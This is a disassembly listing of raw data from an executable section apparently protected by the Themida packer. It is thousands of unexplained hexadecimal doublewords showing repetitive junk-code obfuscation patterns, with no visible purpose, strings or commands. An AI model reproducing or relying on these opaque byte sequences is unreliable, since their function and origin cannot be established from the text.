		dd 1A8E9h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 6499B9B8h, 10A5DE2Bh, 6EA4BB37h
		dd 858B5E29h, 620A35Ah,	78EF381h, 0C75948h, 18h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0DBC35343h, 0DC9DDE13h
		dd 641EDDCh, 5EB58B5Fh,	8B0620A3h, 1D31559Dh, 7D858B06h
		dd 0F8061D14h, 95890689h, 61D0675h, 20E1858Bh, 6A061Dh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0DFDE85C3h, 446892Ah, 0CCDB8166h, 99D8BEAh, 50061D1Ah
		dd 3489DE8Bh, 0B5FFFC24h, 620A35Ah, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 15C35040h, 6D5E01BCh, 4E8h
		dd 1F03FF00h, 0F525000h, 6840F31h, 50000000h, 5A310F52h
		dd 50585A58h, 448BB1B3h, 8B0F0424h, 2, 8BF98Ah,	89F98B66h
		dd 0B7042444h, 0DF8B5863h, 0A362858Dh, 10E90620h, 2000000h
		dd 0ED53F94Bh, 70712D7Eh, 3EE1E746h, 905902C1h,	9BA5360h
		dd 5A2B5719h, 0F525060h, 61585A31h, 14E95061h, 0CD000000h
		dd 0FF980036h, 0EBE16AA8h, 93706450h, 0D8D3EF53h, 905BA9F0h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0CDC35747h
		dd 66693C56h, 0FF584ABFh, 1D314595h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0D5BC4BBh
		dd 0B9A53140h, 6A618Ch,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 4138D8C3h, 0F6804BABh, 0BB556D4Bh
		dd 741C792Dh, 2BF985C7h, 3061Dh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0E57209C3h
		dd 0F8D3DDC4h, 0A362BD83h, 0F000620h, 3284h, 717BF00h
		dd 43E95E72h, 0F000000h, 1189h,	0CE900h, 0A6650000h, 0B981CF65h
		dd 0A6C45860h, 8E8D966h, 8D000000h, 0A7332619h,	6666E1FFh
		dd 505FFE8Bh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 0BF0FC08Bh, 52006AFAh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 66FB4599h, 83AF4BBFh
		dd 1D2BF9BDh, 850F0306h, 3EDh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 1FC35242h, 392E53E4h, 0E2F80056h
		dd 3B81BF66h, 0A362BD83h, 0F000620h, 3B884h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 2A41A9C6h, 0F620C8D9h, 0F560702Bh, 0DB50152h, 5B061D26h
		dd 0F7816661h, 0B5FF554Fh, 620A362h, 20B1BD29h,	95FF061Dh
		dd 61D2B09h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	33C35343h, 8B566302h, 1D1C4D9Dh, 56B58B06h, 6A0620A3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 90AC352h,	1D0511BDh, 106C706h, 66000100h
		dd 7F41EB81h, 0DA8B6650h, 60243489h, 66C9BF0Fh,	0FF61C28Bh
		dd 20A362B5h, 0E3815606h
		dd 1726B3D8h, 8195FF5Bh, 6A061D20h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0F49AC352h
		dd 0D7A3AA0Ah, 8D89CFFAh, 61D2BE5h, 0A356B58Bh,	0AE80620h
		dd 0BC000000h, 0DD5EF171h, 0FEB2B3B5h, 0B589565Ah, 61D0735h
		dd 858B5B5Fh, 61D0085h,	3AD9589h, 2953061Dh, 1D1435B5h
		dd 86895F06h, 0C4h, 3230DF81h, 958B74E1h, 61D20D1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0D0C35040h, 0E027C57Bh
		dd 4C283C9h, 6994DB81h,	508904C3h, 51006A20h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0E542447Eh
		dd 66A2DBD4h, 0E80E2CBFh, 7, 511591DDh,	0F82DBF4h, 682h
		dd 850F00h, 5B000000h, 0B678858Dh, 6A0620h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0DF8DB1C3h
		dd 0FC23803h, 68Dh, 798D8900h, 0BF061D11h, 19D83B53h, 0B88689h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 8166E8C3h, 6A9947F7h, 199D0B00h, 0FF061D26h
		dd 20A362B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 6995FF70h, 6A061D15h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 2BA5C353h
		dd 1D2741BDh
		db 6, 50h
word_584F4E	dw 0BE9h		; DATA XREF: ___:00436EC4o
		dd 98000000h, 8B706C05h, 4F55D47Fh, 348976C3h, 1DBD8B24h
		dd 0FF061D07h, 20A362B5h, 0D5BD8906h, 0FF061D14h, 1D1A9595h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0B9FD9F96h, 71BD83F5h, 61D2Ch, 20840Fh
		dd 0FA8B0000h, 5E950h, 30FF0000h, 89ED7D1Dh, 0BD0B2434h
		dd 61D2CC1h, 5E9h, 1DAB0300h, 0B5FF0EF6h, 620A362h, 95FFFA8Ah
		dd 61D09ADh, 138D8D89h,	0B5FF061Dh, 620A362h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 90C35747h, 9670A1C8h
		dd 8B98F420h, 1D16F9BDh, 7195FF06h, 81061D2Ah, 0E1EF17E7h
		dd 0EDBD8339h, 2061D03h, 61840Fh, 0B5090000h, 61D03E9h
		dd 2F49858Bh, 6A061Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0C39103C3h, 5797490h, 9D8BCC33h
		dd 61D18A1h, 6A0000C6h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0FA3C350h, 0E5D74489h
		dd 699D8B57h, 0C7061D1Ch, 1D00D585h, 6,	53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 0F51E9EBBh, 662E821Eh, 8B5C08BFh, 1D28D5BDh,	0F3E4E906h
		dd 9501FFFFh, 61D25EDh,	6AC18Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 327FB9C3h, 0B988EF81h
		dd 858D2921h, 61D0421h,	0FE960h, 6FB20000h, 5673206Bh
		dd 6D142ACAh, 835ABC38h, 0D99D09BAh, 61061D04h,	8800F50h
		dd 56000000h, 8F0Fh, 895B0000h,	6A2404h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 2AD6C2C3h
		dd 23BFBFA8h, 6A6BDEh, 0B8C0Fh,	6E90000h, 9000000h, 880D33F4h
		dd 0F006AFDh, 858DDEBFh, 6219168h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 3CC35242h, 0E9EB7922h, 0Ah
		dd 4941E690h, 0BE1186DDh, 0E3810AC0h, 341427DBh, 68B0F50h
		dd 8B000000h, 1D2C759Dh, 0C0835F06h, 57006A05h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 9992A929h
		dd 48950F9h, 53006A24h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0CC2DF46h, 0B9ECCA48h, 6A006A65h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 7D50C355h, 7003D762h, 0BE8F8h, 151C0000h
		dd 234BFCBEh, 7FF60C50h, 65BB66A9h, 6A5F61h, 1681BD8Bh
		dd 95FF061Dh, 61D2A39h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 44C35646h, 68A0FA5h, 29000000h, 1D3029BDh
		dd 358D8D06h, 6A062095h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 798AC350h, 0E8130B43h
		dd 7, 23D5F975h, 0F1A83FAh, 687h, 4D950900h, 5F061D02h
		dd 0BC80DF81h, 0D1FF1580h, 0D8C38057h, 0C1BD835Bh, 1061D31h
		dd 5E850Fh, 9D8B0000h, 61D16E9h, 6A026Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 6EF121C3h
		dd 0E3902867h, 29773B92h, 1D2949BDh, 0BF669006h, 0E950EADEh
		dd 0Ch,	0EDABF335h, 898E9666h, 19CBF3D5h, 0E5958990h, 0FF061D0Bh
		dd 1D156995h, 1880F06h,	0F8000000h, 0DC1E9h, 0E800h, 815D0000h
		dd 219172EDh, 13E806h, 17B40000h, 0C8CC9F5Fh, 0CEF4BE5Dh
		dd 9575D697h, 20C59AAEh, 35BD8B4Dh, 5B061D05h, 6CFAF781h
		dd 858D04CBh, 6208D22h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 91C35040h, 0A285C76Eh, 0E950A677h, 0Dh
		dd 0D129D9CDh, 99704A52h, 7940855Dh, 240489B9h,	9D096060h
		dd 61D06F1h, 15FDB589h,	0E961061Dh, 14h, 989116E1h, 229C34B6h
		dd 93060D19h, 0AFD03369h, 0D0F38CF1h, 35FF6461h, 0
		dd 258964F5h, 0
		dd 8E9h, 88F49000h, 5D46B6DAh, 0ADBD891Ch, 0FF061D1Bh
		dd 1D1BC185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0AE89E967h, 24832C86h, 0FF6AF9EDh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 8DC35747h
		dd 0B382E603h, 0EDB5FFADh, 23061D16h, 1D18C5BDh, 0D595FF06h
		dd 0E9061D2Ch, 133h, 0A19D29h, 0B0061Dh, 7C5E0ABBh, 0E970E61Bh
		dd 12h,	6AA7781Dh, 93998E26h, 995C92AAh, 0EDF2B8E1h, 8D894707h
		dd 61D071Dh, 0BD8B71E4h, 61D2CC9h, 830F613Ch, 0F7h, 2BB99D8Bh
		dd 6652061Dh, 0E613DB81h, 0C8B60F5Bh, 0BAF8B70Fh, 6, 0BBC18BF9h
		dd 3F67708Eh, 8904E8C1h, 1D19FD9Dh, 89EB8106h, 661E4531h
		dd 880FE2F7h, 6, 0EE03CF81h, 0C82B60D9h, 0FE9h,	8BBBD700h
		dd 7133B8D8h, 0E2EEF49Eh, 97099239h, 8589D18Bh,	61D3399h
		dd 7E9h, 8CBF6600h, 25CB80B4h, 2F79858Bh, 83F8061Dh, 10E907C0h
		dd 7000000h, 21495DF5h,	8ACDDBD5h, 0D11621D8h, 83374D21h
		dd 9D2B00C0h, 61D2B01h,	0D03BF88Ah, 25830Fh, 0EE90000h
		dd 0FE000000h, 81981277h, 92B1042Ch, 86AF4F71h,	45E953h
		dd 8E90000h, 7D000000h,	7A9F9D73h, 8B24C108h, 1D02E58Dh
		dd 6EEF8106h, 8378076Ah, 840F01E1h, 23h, 8992DF80h, 1D2135BDh
		dd 0E5A58306h, 0FE061D02h, 2311BD23h, 9589061Dh, 61D2F79h
		dd 0E9F88Bh, 8D000000h,	2101EAB5h, 0DF8B6606h, 95FF006Ah
		dd 61D1209h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	91C35141h, 87FC9A7Fh, 8002FEAAh, 9E960C7h, 0E000000h
		dd 306D7C49h, 51D7001Bh, 2CF98589h, 2961061Dh, 1D29B1B5h
		dd 865B906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 1384DCC3h, 0A9BD0BD1h, 83061D02h
		dd 8166FCE1h, 0FC9C91C7h, 0B8h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 1B920399h
		dd 8B5073BAh, 1D0669BDh, 0D9D2B06h, 2B061D20h, 50006AD2h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0AD270157h, 0E8D1C233h, 0E983D003h, 60F47504h, 2149958Bh
		dd 8D89061Dh, 61D0235h,	0F7816661h, 6A79E4h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0F8014EC3h
		dd 8BF745EDh, 1D06059Dh, 880D06h, 11E90000h, 0E0000000h
		dd 54653D94h, 2BFF1109h, 0FBEB02EBh, 6C18E944h,	20D1958Bh
		dd 8D8B061Dh, 61D331Dh,	8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 0A0BF5818h, 6A451474h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 48CEC357h
		dd 83F9F14Ch, 1D3131BDh, 840F0006h, 5Fh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 17h, 0A2C35141h, 8BACBDD3h
		dd 1D00CD9Dh, 0B806h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0BF8705C3h, 3918DCF4h
		dd 4C898D8Dh, 8166061Dh, 0FF710CDFh, 919D03E1h,	83061D20h
		dd 1D2BF9BDh, 840F0006h, 509h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0EBC35242h,	0BD8B3C93h, 61D0251h
		dd 0BD83FB8Bh, 61D2BF9h, 0F1840F01h, 6A000004h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 1BF2C356h, 8BF1C7DAh, 1D338D9Dh, 0F9BD8306h,	3061D2Bh
		dd 488860Fh, 890F0000h,	5, 0E77A16BBh, 51BD8B6Dh, 60061D02h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0A3C35747h
		dd 5E379EAh, 98529F45h,	7D9D8BC1h, 66061D27h, 6AD98Ch
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0B5876DC3h, 0E9C0B275h, 5, 95D3DA3Fh, 4E1809Ch, 419D8Bh
		dd 0C90A061Dh, 1AA840Fh, 0FC600000h, 28B98D89h,	8B61061Dh
		dd 1D20E185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0D636DBC8h, 94875606h, 68C0F5Ah
		dd 33000000h, 1D1431BDh, 5E906h, 0D9790000h, 33FB583Dh
		dd 1D1B9985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0BF6673A2h, 0D88B0614h, 7E850h, 0D660000h
		dd 6AA7781Dh, 4895F26h,	719D3324h, 6A061D16h, 0B5958900h
		dd 0E8061D10h, 4, 1F03FFh, 0AE8h, 6D1D2000h, 1FAC89A7h
		dd 0E900B162h, 0Bh, 88B34B6Ch, 0D85EB253h, 5B269395h, 0EE850h
		dd 0D27F0000h, 0A9B5B3E6h, 86D2DF96h, 0DF3B7A58h, 0DF8B5250h
		dd 585A310Fh, 24448B5Bh, 0E8008B04h, 0Ah, 0BFADC246h, 9C66C33Fh
		dd 0CE88DB4h, 0E9000000h, 2AFC8F39h, 0BA1DC736h, 0BF34EB65h
		dd 51CF8F67h, 44895F5Bh, 8A600424h, 665250D1h, 310FF18Bh
		dd 9C3FF1BFh, 61585A2Ch, 0FFFA8B58h, 1D314595h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 6BD0AF09h, 0EF815063h, 624BD15Ah, 6285895Fh,	6A0620A3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 1EA6C351h, 0D917DE4Dh, 812316B3h,	0F463B6D3h
		dd 1EEE908h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0DEB1CC3h, 0CC9BF650h, 0BD898384h
		dd 61D0BC1h, 0A35A858Bh, 81660620h, 0C7AE14F7h,	1800h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0B58B335Fh, 620A35Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0DBC35343h,	0E44ACE31h, 0E18D89DCh
		dd 8B061D17h, 1D147D85h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 9A63143h, 6A0689h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0B4A164C3h, 0F21C370h, 8B04ECC7h, 1D20E185h,	0EB816606h
		dd 46898C7Dh, 68E0F04h,	81000000h, 6B60F7h, 14E95006h
		dd 1A000000h, 0C175BA8Dh, 9633670Fh, 0FBD675F1h, 0D5B40441h
		dd 897FECF0h, 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0F7FD25C3h, 659D2398h, 0FF061D15h
		dd 20A35AB5h, 14E806h, 1A310000h, 5B76BE4Fh, 0BBC2FCE7h
		dd 28F235F4h, 0ABBBB775h, 8D017315h, 61D0315h, 708E685Fh
		dd 5053DE5Ah, 5FDE8B66h, 2404815Bh, 21C49371h, 8DD9B70Fh
		dd 20A36285h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0FE465CDh, 0D80h,	890F6000h, 0
		dd 8C98166h, 0BF9061FEh, 2C350EF6h, 0A325BF50h,	6A9026EBh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8B91C356h, 0B5BD8BF9h, 0FF061D00h, 1D314595h
		dd 0BE806h, 4EB50000h, 0BE51FFD7h, 9C635000h, 819D0903h
		dd 5F061D14h, 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 0C74BB71Ch, 1D2BF985h, 306h, 6850F00h
		dd 89000000h, 1D3299BDh, 62BD8306h, 620A3h, 5C840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0B3AC7DC3h, 928BA51Bh, 8D89F88Bh, 61D33A1h, 48E9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 790434BEh, 97029FF5h, 326D9589h, 0BB66061Dh,	3050B5B5h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h
dword_585C68	dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
					; DATA XREF: Themida_:00556D06o
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0DB989C6Ah, 0C6A62466h, 0BF66FE8Bh, 0BD83AF07h, 61D2BF9h
		dd 0CD850F03h, 89000003h, 1D228DB5h, 62BD8306h,	620A3h
		dd 3BA840Fh, 8D010000h,	61D19F5h, 0A362B5FFh, 8B660620h
		dd 995FFF8h, 6A061D2Bh,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0D259C356h,	170FF170h
		dd 808723D0h, 0BF66C3DFh, 0B58BEA26h, 620A356h,	106C7h
		dd 6A0001h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 8166A5C3h, 961E86D7h, 955DBF53h, 505B7301h
		dd 1E1557BBh, 6A9650h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 5F65F6C3h, 2286CCDDh, 0A362B5FFh
		dd 85890620h, 61D0BF1h,	208195FFh, 6A061Dh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0B58B8BC3h
		dd 620A356h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	8BC35040h, 9D8B3037h, 61D27B5h,	85858Bh, 850F061Dh
		dd 0Ch,	6820Fh,	9D8B0000h, 61D03A5h, 17820Fh, 0EE80000h
		dd 2A000000h, 0D2167021h, 8195D677h, 0C7532B07h, 0DBBF0F90h
		dd 0C486895Bh, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0E0F7C350h,	65554AF9h
		dd 8D89063Ch, 61D0C01h,	20D1958Bh, 6A061Dh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0E6EEB0C3h
		dd 95891F47h, 61D26D9h,	0F904C283h, 8B205089h, 1D2535BDh
		dd 78858D06h, 230620B6h, 1D1A119Dh, 1B52906h, 89061D03h
		dd 0B886h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 1D4C94A1h, 6A3214E1h, 6E800h, 0DD720000h
		dd 0F79554E1h, 598D8956h, 5B061D04h, 62B5FF5Fh,	8B0620A3h
		dd 1D0745BDh, 819D8B06h, 0FF061D2Eh, 1D156995h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 758D970Bh, 0C117367Ah, 8BD88B66h, 1D056DBDh,	34895006h
		dd 62B5FF24h, 6A0620A3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0C42DC355h,	8919B360h
		dd 1D139D8Dh, 0B70F6106h, 9595FFDAh, 6A061D1Ah,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 6F19C351h, 0FD89E6C8h, 66CE1D73h, 0BD83FA8Bh, 61D2C71h
		dd 39840F00h, 0F000000h, 86h, 919D8B00h, 50061D1Ah, 34895B51h
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 36EEC0C2h, 9D0198E3h, 61D0781h, 0A362B5FFh
		dd 0DF810620h, 5E4D92D6h, 9AD95FFh, 7E9061Dh, 0C8000000h
		dd 637D83D3h, 0B5FF9CFBh, 620A362h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 54C35747h, 81AD442Fh, 0FFCCF1EFh
		dd 1D2A7195h, 0D8B0F06h, 0E9000000h, 8,	0A45A3F00h, 0ABBD20D5h
		dd 3EDBD83h, 0F02061Dh,	6F84h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 958D89AFh
		dd 89061D2Ah, 1D2051BDh, 49858B06h, 6A061D2Fh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 2F5AC356h, 0C66Ah, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 18h, 0E8C35343h, 0E76D5D31h, 0D585C7h, 61Dh
		dd 0B5890000h, 61D01D1h, 0FFF355E9h, 890F52FFh,	6, 25BDBD8Bh
		dd 8B5F061Dh, 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 0FF08A8ADh, 858D4D58h, 61D0421h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0EC35343h
		dd 2A6B89CCh, 50F88A6Bh, 0FE9h,	78E35600h, 5BBAB3BDh, 94F4CC6Bh
		dd 0F8928E91h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0DE13C352h,	8E9DC9Dh
		dd 0AB000000h, 0DBDEA94Dh, 6A7C077Ch, 0BE800h, 340A0000h
		dd 0F88F75F0h, 0C9FE13FBh, 0C95FBB5Dh, 6A5F7F85h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 5EF2DBC4h, 6D0CFD98h, 0B509A3C0h, 61D0765h, 0A1B7858Dh
		dd 0CB810621h, 0C257C2Ch, 6A05C083h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 361DC350h
		dd 0BF0FC8D0h, 666090FFh, 0E973B2BEh, 7, 1665871Dh, 61DCAAFDh
		dd 5E850h, 71EB0000h, 0BF84C5C6h, 38E6DC5Ch, 0B660905Fh
		dd 8B6650E8h, 0F6159C8h, 68Ah, 4DB58900h, 6A061D31h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 4C94A1C4h, 3214E11Dh, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 883C67C3h, 0CB1AF5B2h
		dd 2739B531h, 95FF061Dh, 61D2A39h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 3FC35242h, 878F4A7Bh, 358D8D87h
		dd 6A062095h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 5517C355h, 20993D20h, 0F390BD1h
		dd 68Ah, 0F9BD8B00h, 0E8061D1Bh, 11h, 5287B46Eh, 14C88D90h
		dd 0A2C39B4Bh, 0C7D1E415h, 895FF88Eh, 1D0471BDh, 80D1FF06h
		dd 9589F0DBh, 61D2B35h,	31C1BD83h, 0F01061Dh, 8A85h, 0DDBD8B00h
		dd 6A061D22h, 0D99D8902h, 50061D1Fh, 14E8h, 0E606E600h
		dd 4118CEFh, 13ABC904h,	62128AEh, 8F5A803Fh, 14E917h, 0ECAE0000h
		dd 1856411Dh, 22118253h, 0A73ECFFCh, 0D8C74B40h, 895B59B4h
		dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0A84729C3h, 0FFDE8BC2h, 1D156995h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0E95F5316h, 0ED4h, 0E8h, 0ED815D00h,	621A1C1h, 0D81616BBh
		dd 56006A26h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 9D8B6046h, 61D2021h, 8DFB8B61h, 208D2285h
		dd 99858906h, 90061D06h, 0F98B6656h, 8E0F505Bh,	4, 1466BB66h
		dd 12E990h, 4650000h, 3C7ABB08h, 0C05149ADh, 0E7433527h
		dd 0C8EEFA94h, 35FF64h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 33D3C352h
		dd 137B5622h, 2589647Eh, 0
		dd 0C810Fh, 8F0F0000h, 6, 880Fh, 85FF0000h, 61D1BC1h, 0DE9h
		dd 0A324E900h, 59F744A9h, 74EEAE61h, 8166AAEFh,	6A33C0E3h
		dd 56006AFFh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 1694106h, 2908D241h, 9D8BBE32h, 61D2E15h
		dd 55B5FFh, 0BD0B061Dh,	61D2805h, 2CD595FFh, 40E9061Dh
		dd 0B0000001h, 51F78000h, 816670E6h, 0E41E3DE7h, 8BF86071h
		dd 1D2CF595h, 613C6106h, 121830Fh, 0DF810000h, 5D820A9Ch
		dd 66C8B60Fh, 14A4EF81h, 6BAh, 5E900h, 2EC50000h, 0F647F5Bh
		dd 587h, 0DB816600h, 0C18B3060h, 0C1FE8B66h, 9D8B04E8h
		dd 61D08C9h, 66E2F766h,	0C82BFA8Bh, 14D18D89h, 800F061Dh
		dd 5, 2CEC8ABBh, 0FD18B1Fh, 68Eh, 9DB58900h, 0E9061D29h
		dd 6, 25D59509h, 858B061Dh, 61D1C6Dh, 87DF8166h, 7C083F2h
		dd 0C083F9F8h, 13E800h,	0FACB0000h, 0D1EBB09Bh,	0F99D3DBCh
		dd 12C3CB6Dh, 5EECA1ECh, 5BA1B312h, 830FD03Bh, 2Ch, 0FE8h
		dd 99F70400h, 500B427Ah, 8FC8DEC4h, 0B9FF2F15h,	31B531h
		dd 0E95F061Dh, 63h, 6800Fh, 9D010000h, 61D155Dh, 3798D8Bh
		dd 0BD23061Dh, 61D02EDh, 0F01E183h, 4284h, 88BF6600h, 79A58350h
		dd 0FE061D03h, 148A0Fh,	0FE90000h, 8A000000h, 9253685Fh
		dd 0D192518Bh, 426BA1E5h, 0BD8B1D52h, 61D057Dh,	1C6D9589h
		dd 8E0F061Dh, 6, 301D8589h, 0E9061Dh, 8D000000h, 210C3AB5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 4FC513F8h, 0E830Fh, 9E90000h, 0E3000000h
		dd 216A046h, 0B98C77A8h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
